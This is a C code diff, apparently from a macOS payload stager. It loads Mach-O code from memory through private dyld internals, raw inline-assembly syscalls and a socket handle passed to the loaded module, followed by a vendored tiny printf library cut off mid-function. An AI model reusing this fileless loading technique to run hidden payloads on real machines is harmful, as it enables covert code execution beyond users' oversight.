RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
|
||||
RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
|
||||
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
|
||||
for (int i = 0; i != newLoadersCount; ++i) {
|
||||
void * ldr = newLoaders[i];
|
||||
#ifdef DEBUG
|
||||
print("Setting up locals.\n");
|
||||
#endif
|
||||
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", sdyld);
|
||||
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
|
||||
const void* * ma = GetMA_func(ldr, apis);
|
||||
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", sdyld);
|
||||
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
|
||||
if (HasThreadLocalVariables_func(ma) == true) {
|
||||
#ifdef DEBUG
|
||||
print("Has local variables.\n");
|
||||
#endif
|
||||
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", sdyld);
|
||||
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
|
||||
SetUpTLVs_func(apis, ma);
|
||||
}
|
||||
};
|
||||
}
|
||||
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", sdyld);
|
||||
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
|
||||
IncDlRefCount_func(apis, topLoader);
|
||||
#ifdef DEBUG
|
||||
print("Notifying.\n");
|
||||
#endif
|
||||
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
|
||||
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
|
||||
NotifyLoad_func(apis, &newLoadersArray);
|
||||
#ifdef DEBUG
|
||||
print("Initializing\n");
|
||||
#endif
|
||||
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", sdyld);
|
||||
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
|
||||
RunInitializers_func(topLoader, apis);
|
||||
*rtopLoader = (uint64_t)topLoader;
|
||||
});
|
||||
} else {
|
||||
WithLoadersWriteLock_ptr WithLoadersWriteLock_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState20withLoadersWriteLockEU13block_pointerFvvE", offset2);
|
||||
WithLoadersWriteLock_func(apis, ^(){
|
||||
struct Loaded * loaded = (struct Loaded*)(apis+32);
|
||||
uintptr_t startLoaderCount = loaded->size;
|
||||
printf("Loaded Size: %lld\n", loaded->size);
|
||||
printf("Loaded first: %lld\n", (loaded->elements));
|
||||
printf("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
|
||||
fileid->iNode = 0;
|
||||
fileid->modTime = 0;
|
||||
fileid->isValid = false;
|
||||
printf("Apis: %lld\n", apis);
|
||||
printf("LoadAddress: %lld\n", loadAddress);
|
||||
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0, 0);
|
||||
printf("TopLoader: %lld\n", topLoader);
|
||||
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
printf("Loaded Size: %lld\n", loaded->size);
|
||||
printf("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
|
||||
printf("LoadAddress: %lld\n", pl->mappedAddress);
|
||||
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
printf("hidden: %lld\n", pl->hidden);
|
||||
printf("Magic: %lld\n", pl->magic);
|
||||
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
|
||||
pl->lateLeaveMapped = 1;
|
||||
pl = (struct PartialLoader *)topLoader;
|
||||
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
|
||||
loadChainMain->previous = 0;
|
||||
loadChainMain->image = *(void **)(apis+24);
|
||||
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
|
||||
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
|
||||
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
|
||||
loadChainCaller->previous = &loadChainMain;
|
||||
loadChainCaller->image = &(loaded->elements[0]);
|
||||
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
|
||||
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
|
||||
loadChain->previous = &loadChainCaller;
|
||||
loadChain->image = topLoader;
|
||||
struct LoadOptions * depOptions = (struct LoadOptions *)(loadChain+sizeof(struct LoadChain));
|
||||
depOptions->staticLinkage = false;
|
||||
depOptions->rtldLocal = false; // RTLD_LOCAL only effects top level dylib
|
||||
depOptions->rtldNoDelete = true;
|
||||
depOptions->canBeDylib = true;
|
||||
depOptions->rpathStack = loadChain;
|
||||
depOptions->useFallBackPaths = true;
|
||||
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", offset2);
|
||||
struct diagnostics * diag = (struct diagnostics *)(depOptions+sizeof(struct LoadOptions));
|
||||
diag->_buffer = 0;
|
||||
LoadDependents_func(topLoader, diag, apis, depOptions);
|
||||
if (diag->_buffer != 0) {
|
||||
print("Error\n");
|
||||
};
|
||||
printf("buffer: %lld\n", diag->_buffer);
|
||||
printf("startLoaderCount: %lld\n", startLoaderCount);
|
||||
uint64_t newLoadersCount = loaded->size - startLoaderCount;
|
||||
printf("newLoadersCount: %lld\n", newLoadersCount);
|
||||
void * * newLoaders = &loaded->elements[startLoaderCount];
|
||||
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
|
||||
if (newLoadersCount != 0) {
|
||||
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
|
||||
NotifyDebuggerLoad_func(apis, &newLoadersArray);
|
||||
if (*(char *)(apis + 0x7f) != '\0') {
|
||||
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKN5dyld35ArrayIPKS0_EE", offset2);
|
||||
AddWeakDefs_func(apis, &newLoadersArray);
|
||||
print("WeakRefed\n");
|
||||
}
|
||||
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
|
||||
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
|
||||
for (int i = 0; i != newLoadersCount; ++i) {
|
||||
print("Fixing Up!\n");
|
||||
void * ldr = newLoaders[i];
|
||||
printf("Ldr: %lld\n", ldr);
|
||||
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
|
||||
printf("Diag: %lld\n", diag->_buffer);
|
||||
}
|
||||
// TODO: Figure out if we need addPermanentRanges.
|
||||
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
|
||||
NotifyDtrace_func(apis, &newLoadersArray);
|
||||
RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
|
||||
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
|
||||
for (int i = 0; i != newLoadersCount; ++i) {
|
||||
void * ldr = newLoaders[i];
|
||||
print("Setting up locals.\n");
|
||||
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
|
||||
const void* * ma = GetMA_func(ldr, apis);
|
||||
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
|
||||
if (HasThreadLocalVariables_func(ma) == true) {
|
||||
print("Has local variables.\n");
|
||||
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
|
||||
SetUpTLVs_func(apis, ma);
|
||||
}
|
||||
};
|
||||
}
|
||||
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
|
||||
IncDlRefCount_func(apis, topLoader);
|
||||
print("Notifying.\n");
|
||||
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
|
||||
NotifyLoad_func(apis, &newLoadersArray);
|
||||
print("Initializing\n");
|
||||
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
|
||||
RunInitializers_func(topLoader, apis);
|
||||
*rtopLoader = (uint64_t)topLoader;
|
||||
});
|
||||
}
|
||||
uintptr_t flags = 0;
|
||||
void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Handle: %lld\n", handle);
|
||||
#endif
|
||||
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld);
|
||||
void* handle = 0;
|
||||
if (ventura) {
|
||||
HandleFromLoader_ptr HandleFromLoader_func = find_symbol(sdyld, "__ZN5dyld4L16handleFromLoaderEPKNS_6LoaderEb", offset2);
|
||||
handle = HandleFromLoader_func((void *)*rtopLoader, false);
|
||||
} else {
|
||||
handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
|
||||
}
|
||||
printf("Handle: %lld\n", handle);
|
||||
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", offset2);
|
||||
VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace);
|
||||
#endif
|
||||
printf("VMDeallocated: %lld\n", structspace);
|
||||
NSModule nm = handle;
|
||||
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset);
|
||||
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main);
|
||||
#endif
|
||||
printf("sym_main: %lld\n", sym_main);
|
||||
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset);
|
||||
addr_main = NSAddressOfSymbol_func(sym_main);
|
||||
} else {
|
||||
@@ -683,20 +771,14 @@ int main(int argc, char** argv)
|
||||
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
|
||||
return 1;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
print("created!\n");
|
||||
#endif
|
||||
|
||||
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
|
||||
if (!nm) {
|
||||
#ifdef DEBUG
|
||||
print("no nm!\n");
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
print("good nm!\n");
|
||||
#endif
|
||||
|
||||
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
|
||||
if (!sym_main) {
|
||||
@@ -708,9 +790,7 @@ int main(int argc, char** argv)
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
print("found main!\n");
|
||||
#endif
|
||||
};
|
||||
int(*main_func)(int, char**) = (int(*)(int, char**))addr_main;
|
||||
char* socket = (char*)(size_t)argc;
|
||||
@@ -773,6 +853,17 @@ uint64_t syscall_chmod(uint64_t path, long mode)
|
||||
{
|
||||
uint64_t chmod_no = 0x200000f;
|
||||
uint64_t ret = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(chmod_no), "r"(path), "r"(mode)
|
||||
:);
|
||||
#else
|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -782,6 +873,7 @@ uint64_t syscall_chmod(uint64_t path, long mode)
|
||||
: "=g"(ret)
|
||||
: "g"(chmod_no), "S"(path), "g"(mode)
|
||||
:);
|
||||
#endif
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -843,6 +935,21 @@ int detect_sierra()
|
||||
uint64_t valsizeptr = (uint64_t)&size;
|
||||
uint64_t ret = 0;
|
||||
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"mov x2, %4;\n"
|
||||
"mov x3, %5;\n"
|
||||
"eor x4, x4, x4;\n"
|
||||
"eor x5, x5, x5;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr)
|
||||
: );
|
||||
#else
|
||||
__asm__(
|
||||
"mov %1, %%rax;\n"
|
||||
"mov %2, %%rdi;\n"
|
||||
@@ -856,6 +963,7 @@ int detect_sierra()
|
||||
: "=g"(ret)
|
||||
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
|
||||
: );
|
||||
#endif
|
||||
|
||||
// osrelease is 16.x.x on Sierra
|
||||
if (ret == 0 && size > 2) {
|
||||
@@ -874,6 +982,16 @@ uint64_t syscall_shared_region_check_np()
|
||||
long shared_region_check_np = 0x2000126; // #294
|
||||
uint64_t address = 0;
|
||||
unsigned long ret = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(shared_region_check_np), "r"(&address)
|
||||
: "x16", "x0" );
|
||||
#else
|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -882,6 +1000,7 @@ uint64_t syscall_shared_region_check_np()
|
||||
: "=g"(ret)
|
||||
: "g"(shared_region_check_np), "g"(&address)
|
||||
: "rax", "rdi" );
|
||||
#endif
|
||||
return address;
|
||||
}
|
||||
|
||||
@@ -916,6 +1035,18 @@ void print(char * str)
|
||||
unsigned long long addr = (unsigned long long) str;
|
||||
unsigned long ret = 0;
|
||||
/* ret = write(stdout, str, len); */
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"mov x2, %4;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(write), "r"(stdout), "r"(addr), "r"(len)
|
||||
: "x0", "x1", "x2" );
|
||||
#else
|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -926,5 +1057,6 @@ void print(char * str)
|
||||
: "=g"(ret)
|
||||
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
|
||||
: "rax", "rdi", "rdx" );
|
||||
#endif
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,914 @@
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
// \author (c) Marco Paland (info@paland.com)
|
||||
// 2014-2019, PALANDesign Hannover, Germany
|
||||
//
|
||||
// \license The MIT License (MIT)
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// \brief Tiny printf, sprintf and (v)snprintf implementation, optimized for speed on
|
||||
// embedded systems with a very limited resources. These routines are thread
|
||||
// safe and reentrant!
|
||||
// Use this instead of the bloated standard/newlib printf cause these use
|
||||
// malloc for printf (and may not be thread safe).
|
||||
//
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "printf.h"
|
||||
|
||||
|
||||
// define this globally (e.g. gcc -DPRINTF_INCLUDE_CONFIG_H ...) to include the
|
||||
// printf_config.h header file
|
||||
// default: undefined
|
||||
#ifdef PRINTF_INCLUDE_CONFIG_H
|
||||
#include "printf_config.h"
|
||||
#endif
|
||||
|
||||
|
||||
// 'ntoa' conversion buffer size, this must be big enough to hold one converted
|
||||
// numeric number including padded zeros (dynamically created on stack)
|
||||
// default: 32 byte
|
||||
#ifndef PRINTF_NTOA_BUFFER_SIZE
|
||||
#define PRINTF_NTOA_BUFFER_SIZE 32U
|
||||
#endif
|
||||
|
||||
// 'ftoa' conversion buffer size, this must be big enough to hold one converted
|
||||
// float number including padded zeros (dynamically created on stack)
|
||||
// default: 32 byte
|
||||
#ifndef PRINTF_FTOA_BUFFER_SIZE
|
||||
#define PRINTF_FTOA_BUFFER_SIZE 32U
|
||||
#endif
|
||||
|
||||
// support for the floating point type (%f)
|
||||
// default: activated
|
||||
#ifndef PRINTF_DISABLE_SUPPORT_FLOAT
|
||||
#define PRINTF_SUPPORT_FLOAT
|
||||
#endif
|
||||
|
||||
// support for exponential floating point notation (%e/%g)
|
||||
// default: activated
|
||||
#ifndef PRINTF_DISABLE_SUPPORT_EXPONENTIAL
|
||||
#define PRINTF_SUPPORT_EXPONENTIAL
|
||||
#endif
|
||||
|
||||
// define the default floating point precision
|
||||
// default: 6 digits
|
||||
#ifndef PRINTF_DEFAULT_FLOAT_PRECISION
|
||||
#define PRINTF_DEFAULT_FLOAT_PRECISION 6U
|
||||
#endif
|
||||
|
||||
// define the largest float suitable to print with %f
|
||||
// default: 1e9
|
||||
#ifndef PRINTF_MAX_FLOAT
|
||||
#define PRINTF_MAX_FLOAT 1e9
|
||||
#endif
|
||||
|
||||
// support for the long long types (%llu or %p)
|
||||
// default: activated
|
||||
#ifndef PRINTF_DISABLE_SUPPORT_LONG_LONG
|
||||
#define PRINTF_SUPPORT_LONG_LONG
|
||||
#endif
|
||||
|
||||
// support for the ptrdiff_t type (%t)
|
||||
// ptrdiff_t is normally defined in <stddef.h> as long or long long type
|
||||
// default: activated
|
||||
#ifndef PRINTF_DISABLE_SUPPORT_PTRDIFF_T
|
||||
#define PRINTF_SUPPORT_PTRDIFF_T
|
||||
#endif
|
||||
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// internal flag definitions
|
||||
#define FLAGS_ZEROPAD (1U << 0U)
|
||||
#define FLAGS_LEFT (1U << 1U)
|
||||
#define FLAGS_PLUS (1U << 2U)
|
||||
#define FLAGS_SPACE (1U << 3U)
|
||||
#define FLAGS_HASH (1U << 4U)
|
||||
#define FLAGS_UPPERCASE (1U << 5U)
|
||||
#define FLAGS_CHAR (1U << 6U)
|
||||
#define FLAGS_SHORT (1U << 7U)
|
||||
#define FLAGS_LONG (1U << 8U)
|
||||
#define FLAGS_LONG_LONG (1U << 9U)
|
||||
#define FLAGS_PRECISION (1U << 10U)
|
||||
#define FLAGS_ADAPT_EXP (1U << 11U)
|
||||
|
||||
|
||||
// import float.h for DBL_MAX
|
||||
#if defined(PRINTF_SUPPORT_FLOAT)
|
||||
#include <float.h>
|
||||
#endif
|
||||
|
||||
|
||||
// output function type
|
||||
typedef void (*out_fct_type)(char character, void* buffer, size_t idx, size_t maxlen);
|
||||
|
||||
|
||||
// wrapper (used as buffer) for output function type
|
||||
typedef struct {
|
||||
void (*fct)(char character, void* arg);
|
||||
void* arg;
|
||||
} out_fct_wrap_type;
|
||||
|
||||
|
||||
// internal buffer output
|
||||
static inline void _out_buffer(char character, void* buffer, size_t idx, size_t maxlen)
|
||||
{
|
||||
if (idx < maxlen) {
|
||||
((char*)buffer)[idx] = character;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// internal null output
|
||||
static inline void _out_null(char character, void* buffer, size_t idx, size_t maxlen)
|
||||
{
|
||||
(void)character; (void)buffer; (void)idx; (void)maxlen;
|
||||
}
|
||||
|
||||
|
||||
// internal _putchar wrapper
|
||||
static inline void _out_char(char character, void* buffer, size_t idx, size_t maxlen)
|
||||
{
|
||||
(void)buffer; (void)idx; (void)maxlen;
|
||||
if (character) {
|
||||
_putchar(character);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// internal output function wrapper
|
||||
static inline void _out_fct(char character, void* buffer, size_t idx, size_t maxlen)
|
||||
{
|
||||
(void)idx; (void)maxlen;
|
||||
if (character) {
|
||||
// buffer is the output fct pointer
|
||||
((out_fct_wrap_type*)buffer)->fct(character, ((out_fct_wrap_type*)buffer)->arg);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// internal secure strlen
|
||||
// \return The length of the string (excluding the terminating 0) limited by 'maxsize'
|
||||
static inline unsigned int _strnlen_s(const char* str, size_t maxsize)
|
||||
{
|
||||
const char* s;
|
||||
for (s = str; *s && maxsize--; ++s);
|
||||
return (unsigned int)(s - str);
|
||||
}
|
||||
|
||||
|
||||
// internal test if char is a digit (0-9)
|
||||
// \return true if char is a digit
|
||||
static inline bool _is_digit(char ch)
|
||||
{
|
||||
return (ch >= '0') && (ch <= '9');
|
||||
}
|
||||
|
||||
|
||||
// internal ASCII string to unsigned int conversion
|
||||
static unsigned int _atoi(const char** str)
|
||||
{
|
||||
unsigned int i = 0U;
|
||||
while (_is_digit(**str)) {
|
||||
i = i * 10U + (unsigned int)(*((*str)++) - '0');
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
|
||||
// output the specified string in reverse, taking care of any zero-padding
|
||||
static size_t _out_rev(out_fct_type out, char* buffer, size_t idx, size_t maxlen, const char* buf, size_t len, unsigned int width, unsigned int flags)
|
||||
{
|
||||
const size_t start_idx = idx;
|
||||
|
||||
// pad spaces up to given width
|
||||
if (!(flags & FLAGS_LEFT) && !(flags & FLAGS_ZEROPAD)) {
|
||||
for (size_t i = len; i < width; i++) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
|
||||
// reverse string
|
||||
while (len) {
|
||||
out(buf[--len], buffer, idx++, maxlen);
|
||||
}
|
||||
|
||||
// append pad spaces up to given width
|
||||
if (flags & FLAGS_LEFT) {
|
||||
while (idx - start_idx < width) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
|
||||
return idx;
|
||||
}
|
||||
|
||||
|
||||
// internal itoa format
|
||||
static size_t _ntoa_format(out_fct_type out, char* buffer, size_t idx, size_t maxlen, char* buf, size_t len, bool negative, unsigned int base, unsigned int prec, unsigned int width, unsigned int flags)
|
||||
{
|
||||
// pad leading zeros
|
||||
if (!(flags & FLAGS_LEFT)) {
|
||||
if (width && (flags & FLAGS_ZEROPAD) && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
|
||||
width--;
|
||||
}
|
||||
while ((len < prec) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = '0';
|
||||
}
|
||||
while ((flags & FLAGS_ZEROPAD) && (len < width) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = '0';
|
||||
}
|
||||
}
|
||||
|
||||
// handle hash
|
||||
if (flags & FLAGS_HASH) {
|
||||
if (!(flags & FLAGS_PRECISION) && len && ((len == prec) || (len == width))) {
|
||||
len--;
|
||||
if (len && (base == 16U)) {
|
||||
len--;
|
||||
}
|
||||
}
|
||||
if ((base == 16U) && !(flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = 'x';
|
||||
}
|
||||
else if ((base == 16U) && (flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = 'X';
|
||||
}
|
||||
else if ((base == 2U) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = 'b';
|
||||
}
|
||||
if (len < PRINTF_NTOA_BUFFER_SIZE) {
|
||||
buf[len++] = '0';
|
||||
}
|
||||
}
|
||||
|
||||
if (len < PRINTF_NTOA_BUFFER_SIZE) {
|
||||
if (negative) {
|
||||
buf[len++] = '-';
|
||||
}
|
||||
else if (flags & FLAGS_PLUS) {
|
||||
buf[len++] = '+'; // ignore the space if the '+' exists
|
||||
}
|
||||
else if (flags & FLAGS_SPACE) {
|
||||
buf[len++] = ' ';
|
||||
}
|
||||
}
|
||||
|
||||
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
|
||||
}
|
||||
|
||||
|
||||
// internal itoa for 'long' type
|
||||
static size_t _ntoa_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long value, bool negative, unsigned long base, unsigned int prec, unsigned int width, unsigned int flags)
|
||||
{
|
||||
char buf[PRINTF_NTOA_BUFFER_SIZE];
|
||||
size_t len = 0U;
|
||||
|
||||
// no hash for 0 values
|
||||
if (!value) {
|
||||
flags &= ~FLAGS_HASH;
|
||||
}
|
||||
|
||||
// write if precision != 0 and value is != 0
|
||||
if (!(flags & FLAGS_PRECISION) || value) {
|
||||
do {
|
||||
const char digit = (char)(value % base);
|
||||
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
|
||||
value /= base;
|
||||
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
|
||||
}
|
||||
|
||||
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
|
||||
}
|
||||
|
||||
|
||||
// internal itoa for 'long long' type
|
||||
#if defined(PRINTF_SUPPORT_LONG_LONG)
|
||||
static size_t _ntoa_long_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long long value, bool negative, unsigned long long base, unsigned int prec, unsigned int width, unsigned int flags)
|
||||
{
|
||||
char buf[PRINTF_NTOA_BUFFER_SIZE];
|
||||
size_t len = 0U;
|
||||
|
||||
// no hash for 0 values
|
||||
if (!value) {
|
||||
flags &= ~FLAGS_HASH;
|
||||
}
|
||||
|
||||
// write if precision != 0 and value is != 0
|
||||
if (!(flags & FLAGS_PRECISION) || value) {
|
||||
do {
|
||||
const char digit = (char)(value % base);
|
